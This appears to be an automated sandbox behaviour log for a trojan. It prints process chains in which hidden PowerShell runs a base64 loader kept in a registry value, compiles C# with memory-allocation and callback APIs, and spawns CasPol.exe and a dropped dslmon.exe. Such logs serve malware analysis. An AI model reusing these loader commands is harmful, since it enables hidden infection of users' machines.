wAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kxeayl3s.cmdline	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1FFF.tmp" "c:\Users\user\AppData\Local\Temp\CSCAB9D447D8E2849BB9EF6D8A3F7C9ADB.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAG
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAG
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3rumnuxb.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kar5iszo.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAD7.tmp" "c:\Users\user\AppData\Local\Temp\CSCB1B043D375E64A49ADE1599E795DF7E1.TMP"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA6F8.tmp" "c:\Users\user\AppData\Local\Temp\CSC12B2DF4544A1496EA7EB89E07B3D3FC6.TMP"

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\Documents\20220128

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\TRICA.dat

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winVBS@44/42@38/3

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: 20.0.dslmon.exe.b60000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 20.0.dslmon.exe.b60000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 20.0.dslmon.exe.b60000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Security.AccessControl.MutexSecurity System.Threading.Mutex::GetAccessControl()
Source: 20.0.dslmon.exe.b60000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Void System.Security.AccessControl.MutexSecurity::AddAccessRule(System.Security.AccessControl.MutexAccessRule)
Source: 20.0.dslmon.exe.b60000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Void System.Threading.Mutex::SetAccessControl(System.Security.AccessControl.MutexSecurity)
Source: 26.2.dslmon.exe.bf0000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 26.2.dslmon.exe.bf0000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 26.2.dslmon.exe.bf0000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Security.AccessControl.MutexSecurity System.Threading.Mutex::GetAccessControl()
Source: 26.2.dslmon.exe.bf0000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Void System.Security.AccessControl.MutexSecurity::AddAccessRule(System.Security.AccessControl.MutexAccessRule)
Source: 26.2.dslmon.exe.bf0000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Void System.Threading.Mutex::SetAccessControl(System.Security.AccessControl.MutexSecurity)
Source: dslmon.exe.16.dr, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: dslmon.exe.16.dr, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: dslmon.exe.16.dr, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Security.AccessControl.MutexSecurity System.Threading.Mutex::GetAccessControl()
Source: dslmon.exe.16.dr, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Void System.Security.AccessControl.MutexSecurity::AddAccessRule(System.Security.AccessControl.MutexAccessRule)
Source: dslmon.exe.16.dr, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Void System.Threading.Mutex::SetAccessControl(System.Security.AccessControl.MutexSecurity)
Source: 26.0.dslmon.exe.bf0000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 26.0.dslmon.exe.bf0000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 26.0.dslmon.exe.bf0000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Security.AccessControl.MutexSecurity System.Threading.Mutex::GetAccessControl()
Source: 26.0.dslmon.exe.bf0000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Void System.Security.AccessControl.MutexSecurity::AddAccessRule(System.Security.AccessControl.MutexAccessRule)
Source: 26.0.dslmon.exe.bf0000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Void System.Threading.Mutex::SetAccessControl(System.Security.AccessControl.MutexSecurity)
Source: 20.2.dslmon.exe.b60000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 20.2.dslmon.exe.b60000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 20.2.dslmon.exe.b60000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Security.AccessControl.MutexSecurity System.Threading.Mutex::GetAccessControl()
Source: 20.2.dslmon.exe.b60000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Void System.Security.AccessControl.MutexSecurity::AddAccessRule(System.Security.AccessControl.MutexAccessRule)
Source: 20.2.dslmon.exe.b60000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Void System.Threading.Mutex::SetAccessControl(System.Security.AccessControl.MutexSecurity)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\ffc00a26ff38e37b47b2c75f92b48929\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\ffc00a26ff38e37b47b2c75f92b48929\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\ffc00a26ff38e37b47b2c75f92b48929\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\ffc00a26ff38e37b47b2c75f92b48929\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\ffc00a26ff38e37b47b2c75f92b48929\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4544:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2624:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7724:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7588:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7724:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7688:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7588:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
